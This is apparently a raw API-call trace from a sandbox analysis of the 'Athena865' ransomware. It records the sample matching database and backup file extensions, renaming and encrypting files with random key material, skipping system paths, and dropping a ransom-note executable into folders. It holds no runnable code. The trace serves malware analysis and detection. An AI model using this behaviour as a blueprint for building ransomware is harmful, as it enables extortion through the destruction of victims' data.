lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0110.945] lstrlenW (lpString="cpd") returned 3 [0110.945] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0110.945] lstrlenW (lpString="dacpac") returned 6 [0110.945] lstrcmpiW (lpString1="om.dll", lpString2="dacpac") returned 1 [0110.945] lstrlenW (lpString="dad") returned 3 [0110.945] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0110.945] lstrlenW (lpString="dadiagrams") returned 10 [0110.945] lstrlenW (lpString="daschema") returned 8 [0110.945] lstrcmpiW (lpString1="scom.dll", lpString2="daschema") returned 1 [0110.945] lstrlenW (lpString="db-journal") returned 10 [0110.945] lstrlenW (lpString="db-shm") returned 6 [0110.945] lstrcmpiW (lpString1="om.dll", lpString2="db-shm") returned 1 [0110.945] lstrlenW (lpString="db-wal") returned 6 [0110.945] lstrcmpiW (lpString1="om.dll", lpString2="db-wal") returned 1 [0110.946] lstrlenW (lpString="dbc") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0110.946] lstrlenW (lpString="dbs") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0110.946] lstrlenW (lpString="dbt") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0110.946] lstrlenW (lpString="dbv") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0110.946] lstrlenW (lpString="dbx") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0110.946] lstrlenW (lpString="dcb") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0110.946] lstrlenW (lpString="dct") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0110.946] lstrlenW (lpString="dcx") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0110.946] lstrlenW (lpString="ddl") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0110.946] lstrlenW (lpString="dlis") returned 4 [0110.946] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0110.946] lstrlenW (lpString="dp1") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0110.946] lstrlenW (lpString="dqy") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0110.946] lstrlenW (lpString="dsk") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0110.946] lstrlenW (lpString="dsn") returned 3 [0110.946] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0110.946] lstrlenW (lpString="dtsx") returned 4 [0110.947] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0110.947] lstrlenW (lpString="dxl") returned 3 [0110.947] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0110.947] lstrlenW (lpString="eco") returned 3 [0110.947] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0110.947] lstrlenW (lpString="ecx") returned 3 [0110.947] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0110.947] lstrlenW (lpString="edb") returned 3 [0110.947] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0110.947] lstrlenW (lpString="epim") returned 4 [0110.947] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0110.947] lstrlenW (lpString="fcd") returned 3 [0110.947] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0110.947] lstrlenW (lpString="fdb") returned 3 [0110.947] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0110.947] lstrlenW (lpString="fic") returned 3 [0110.947] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0110.947] lstrlenW (lpString="flexolibrary") returned 12 [0110.947] lstrlenW (lpString="fm5") returned 3 [0110.947] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0110.947] lstrlenW (lpString="fmp") returned 3 [0110.947] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0110.947] lstrlenW (lpString="fmp12") returned 5 [0110.947] lstrcmpiW (lpString1="m.dll", lpString2="fmp12") returned 1 [0110.947] lstrlenW (lpString="fmpsl") returned 5 [0110.947] lstrcmpiW (lpString1="m.dll", lpString2="fmpsl") returned 1 [0110.947] lstrlenW (lpString="fol") returned 3 [0110.947] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0110.948] lstrlenW (lpString="fp3") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0110.948] lstrlenW (lpString="fp4") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0110.948] lstrlenW (lpString="fp5") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0110.948] lstrlenW (lpString="fp7") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0110.948] lstrlenW (lpString="fpt") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0110.948] lstrlenW (lpString="frm") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0110.948] lstrlenW (lpString="gdb") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.948] lstrlenW (lpString="gdb") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.948] lstrlenW (lpString="grdb") returned 4 [0110.948] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0110.948] lstrlenW (lpString="gwi") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0110.948] lstrlenW (lpString="hdb") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0110.948] lstrlenW (lpString="his") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0110.948] lstrlenW (lpString="ib") returned 2 [0110.948] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0110.948] lstrlenW (lpString="idb") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0110.948] lstrlenW (lpString="ihx") returned 3 [0110.948] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0110.949] lstrlenW (lpString="itdb") returned 4 [0110.949] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0110.949] lstrlenW (lpString="itw") returned 3 [0110.949] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0110.949] lstrlenW (lpString="jet") returned 3 [0110.949] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0110.949] lstrlenW (lpString="jtx") returned 3 [0110.949] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0110.949] lstrlenW (lpString="kdb") returned 3 [0110.949] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0110.949] lstrlenW (lpString="kexi") returned 4 [0110.949] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0110.949] lstrlenW (lpString="kexic") returned 5 [0110.949] lstrcmpiW (lpString1="m.dll", lpString2="kexic") returned 1 [0110.954] lstrlenW (lpString="kexis") returned 5 [0110.954] lstrcmpiW (lpString1="m.dll", lpString2="kexis") returned 1 [0110.954] lstrlenW (lpString="lgc") returned 3 [0110.954] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0110.954] lstrlenW (lpString="lwx") returned 3 [0110.954] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0110.954] lstrlenW (lpString="maf") returned 3 [0110.954] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0110.954] lstrlenW (lpString="maq") returned 3 [0110.954] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0110.954] lstrlenW (lpString="mar") returned 3 [0110.954] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0110.954] lstrlenW (lpString="marshal") returned 7 [0110.954] lstrcmpiW (lpString1="com.dll", lpString2="marshal") returned -1 [0110.954] lstrlenW (lpString="mas") returned 3 [0110.954] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0110.954] lstrlenW (lpString="mav") returned 3 [0110.954] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0110.954] lstrlenW (lpString="maw") returned 3 [0110.954] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0110.954] lstrlenW (lpString="mdbhtml") returned 7 [0110.954] lstrcmpiW (lpString1="com.dll", lpString2="mdbhtml") returned -1 [0110.954] lstrlenW (lpString="mdn") returned 3 [0110.954] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0110.954] lstrlenW (lpString="mdt") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0110.955] lstrlenW (lpString="mfd") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0110.955] lstrlenW (lpString="mpd") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0110.955] lstrlenW (lpString="mrg") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0110.955] lstrlenW (lpString="mud") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0110.955] lstrlenW (lpString="mwb") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0110.955] lstrlenW (lpString="myd") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0110.955] lstrlenW (lpString="ndf") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0110.955] lstrlenW (lpString="nnt") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0110.955] lstrlenW (lpString="nrmlib") returned 6 [0110.955] lstrcmpiW (lpString1="om.dll", lpString2="nrmlib") returned 1 [0110.955] lstrlenW (lpString="ns2") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0110.955] lstrlenW (lpString="ns3") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0110.955] lstrlenW (lpString="ns4") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0110.955] lstrlenW (lpString="nsf") returned 3 [0110.955] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0110.955] lstrlenW (lpString="nv") returned 2 [0110.955] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0110.956] lstrlenW (lpString="nv2") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0110.956] lstrlenW (lpString="nwdb") returned 4 [0110.956] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0110.956] lstrlenW (lpString="nyf") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0110.956] lstrlenW (lpString="odb") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.956] lstrlenW (lpString="odb") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.956] lstrlenW (lpString="oqy") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0110.956] lstrlenW (lpString="ora") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0110.956] lstrlenW (lpString="orx") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0110.956] lstrlenW (lpString="owc") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0110.956] lstrlenW (lpString="p96") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0110.956] lstrlenW (lpString="p97") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0110.956] lstrlenW (lpString="pan") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0110.956] lstrlenW (lpString="pdb") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0110.956] lstrlenW (lpString="pdm") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0110.956] lstrlenW (lpString="pnz") returned 3 [0110.956] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0110.957] lstrlenW (lpString="qry") returned 3 [0110.957] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0110.957] lstrlenW (lpString="qvd") returned 3 [0110.957] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0110.957] lstrlenW (lpString="rbf") returned 3 [0110.957] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0110.957] lstrlenW (lpString="rctd") returned 4 [0110.957] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0110.957] lstrlenW (lpString="rod") returned 3 [0110.957] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0110.957] lstrlenW (lpString="rodx") returned 4 [0110.957] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0110.957] lstrlenW (lpString="rpd") returned 3 [0110.957] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0110.957] lstrlenW (lpString="rsd") returned 3 [0110.957] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0110.957] lstrlenW (lpString="sas7bdat") returned 8 [0110.957] lstrcmpiW (lpString1="scom.dll", lpString2="sas7bdat") returned 1 [0110.957] lstrlenW (lpString="sbf") returned 3 [0110.957] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0110.957] lstrlenW (lpString="scx") returned 3 [0110.957] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0110.957] lstrlenW (lpString="sdb") returned 3 [0110.957] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0110.957] lstrlenW (lpString="sdc") returned 3 [0110.957] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0110.957] lstrlenW (lpString="sdf") returned 3 [0110.957] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0110.957] lstrlenW (lpString="sis") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0110.958] lstrlenW (lpString="spq") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0110.958] lstrlenW (lpString="te") returned 2 [0110.958] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0110.958] lstrlenW (lpString="teacher") returned 7 [0110.958] lstrcmpiW (lpString1="com.dll", lpString2="teacher") returned -1 [0110.958] lstrlenW (lpString="tmd") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0110.958] lstrlenW (lpString="tps") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0110.958] lstrlenW (lpString="trc") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.958] lstrlenW (lpString="trc") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.958] lstrlenW (lpString="trm") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0110.958] lstrlenW (lpString="udb") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0110.958] lstrlenW (lpString="udl") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0110.958] lstrlenW (lpString="usr") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0110.958] lstrlenW (lpString="v12") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0110.958] lstrlenW (lpString="vis") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0110.958] lstrlenW (lpString="vpd") returned 3 [0110.958] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0110.958] lstrlenW (lpString="vvv") returned 3 [0110.959] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0110.959] lstrlenW (lpString="wdb") returned 3 [0110.959] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0110.959] lstrlenW (lpString="wmdb") returned 4 [0110.959] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0110.959] lstrlenW (lpString="wrk") returned 3 [0110.959] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0110.959] lstrlenW (lpString="xdb") returned 3 [0110.959] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0110.959] lstrlenW (lpString="xld") returned 3 [0110.959] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0110.959] lstrlenW (lpString="xmlff") returned 5 [0110.959] lstrcmpiW (lpString1="m.dll", lpString2="xmlff") returned -1 [0110.959] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll.Athena865") returned 71 [0110.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.athena865"), dwFlags=0x1) returned 1 [0110.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0110.962] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=169984) returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.962] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.963] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.963] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.963] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29b00, lpName=0x0) returned 0x154 [0110.965] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29b00) returned 0x170000 [0110.973] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.974] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.974] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.975] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0110.976] CloseHandle (hObject=0x154) returned 1 [0110.976] CloseHandle (hObject=0x17c) returned 1 [0110.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.977] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0110.977] lstrcmpiW (lpString1="ru-RU", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.977] lstrcmpiW (lpString1="ru-RU", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.977] lstrcmpiW (lpString1="ru-RU", lpString2=".") returned 1 [0110.977] lstrcmpiW (lpString1="ru-RU", lpString2="..") returned 1 [0110.977] lstrcmpiW (lpString1="ru-RU", lpString2="windows") returned -1 [0110.977] lstrcmpiW (lpString1="ru-RU", lpString2="bootmgr") returned 1 [0110.977] lstrcmpiW (lpString1="ru-RU", lpString2="temp") returned -1 [0110.977] lstrcmpiW (lpString1="ru-RU", lpString2="pagefile.sys") returned 1 [0110.977] lstrcmpiW (lpString1="ru-RU", lpString2="boot") returned 1 [0110.977] lstrcmpiW (lpString1="ru-RU", lpString2="ids.txt") returned 1 [0110.978] lstrcmpiW (lpString1="ru-RU", lpString2="ntuser.dat") returned 1 [0110.978] lstrcmpiW (lpString1="ru-RU", lpString2="perflogs") returned 1 [0110.978] lstrcmpiW (lpString1="ru-RU", lpString2="MSBuild") returned 1 [0110.978] lstrlenW (lpString="ru-RU") returned 5 [0110.978] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ru-RU" | out: lpString1="ru-RU") returned="ru-RU" [0110.978] lstrcatW (in: lpString1="ru-RU", lpString2="\\" | out: lpString1="ru-RU\\") returned="ru-RU\\" [0110.978] lstrcatW (in: lpString1="ru-RU\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ru-RU\\HOW TO BACK YOUR FILES.exe") returned="ru-RU\\HOW TO BACK YOUR FILES.exe" [0110.978] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.981] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2=".") returned 1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="..") returned 1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="windows") returned -1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="bootmgr") returned 1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="temp") returned -1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="pagefile.sys") returned 1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="boot") returned 1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="ids.txt") returned 1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="ntuser.dat") returned 1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="perflogs") returned 1 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="MSBuild") returned 1 [0110.981] lstrlenW (lpString="ShapeCollector.exe") returned 18 [0110.981] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ShapeCollector.exe" | out: lpString1="ShapeCollector.exe") returned="ShapeCollector.exe" [0110.981] lstrlenW (lpString="ShapeCollector.exe") returned 18 [0110.981] lstrlenW (lpString="Athena865") returned 9 [0110.981] lstrcmpiW (lpString1="ector.exe", lpString2="Athena865") returned 1 [0110.981] lstrlenW (lpString=".dll") returned 4 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2=".dll") returned 1 [0110.981] lstrlenW (lpString=".lnk") returned 4 [0110.981] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2=".lnk") returned 1 [0110.981] lstrlenW (lpString=".ini") returned 4 [0110.982] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2=".ini") returned 1 [0110.982] lstrlenW (lpString=".sys") returned 4 [0110.982] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2=".sys") returned 1 [0110.982] lstrlenW (lpString="ShapeCollector.exe") returned 18 [0110.982] lstrlenW (lpString="bak") returned 3 [0110.982] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0110.982] lstrlenW (lpString="ba_") returned 3 [0110.982] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0110.982] lstrlenW (lpString="dbb") returned 3 [0110.982] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0110.982] lstrlenW (lpString="vmdk") returned 4 [0110.982] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0110.982] lstrlenW (lpString="rar") returned 3 [0110.982] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0110.982] lstrlenW (lpString="zip") returned 3 [0110.982] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0110.982] lstrlenW (lpString="tgz") returned 3 [0110.982] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0110.982] lstrlenW (lpString="vbox") returned 4 [0110.982] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0110.982] lstrlenW (lpString="vdi") returned 3 [0110.982] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0110.982] lstrlenW (lpString="vhd") returned 3 [0110.982] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0110.982] lstrlenW (lpString="vhdx") returned 4 [0110.982] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0110.982] lstrlenW (lpString="avhd") returned 4 [0110.982] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0110.982] lstrlenW (lpString="db") returned 2 [0110.983] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0110.983] lstrlenW (lpString="db2") returned 3 [0110.983] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0110.983] lstrlenW (lpString="db3") returned 3 [0110.983] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0110.983] lstrlenW (lpString="dbf") returned 3 [0110.983] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0110.983] lstrlenW (lpString="mdf") returned 3 [0110.983] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0110.983] lstrlenW (lpString="mdb") returned 3 [0110.983] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0110.983] lstrlenW (lpString="sql") returned 3 [0110.983] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0110.983] lstrlenW (lpString="sqlite") returned 6 [0110.983] lstrcmpiW (lpString1="or.exe", lpString2="sqlite") returned -1 [0110.983] lstrlenW (lpString="sqlite3") returned 7 [0110.983] lstrcmpiW (lpString1="tor.exe", lpString2="sqlite3") returned 1 [0110.983] lstrlenW (lpString="sqlitedb") returned 8 [0110.983] lstrcmpiW (lpString1="ctor.exe", lpString2="sqlitedb") returned -1 [0110.983] lstrlenW (lpString="xml") returned 3 [0110.983] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0110.983] lstrlenW (lpString="$er") returned 3 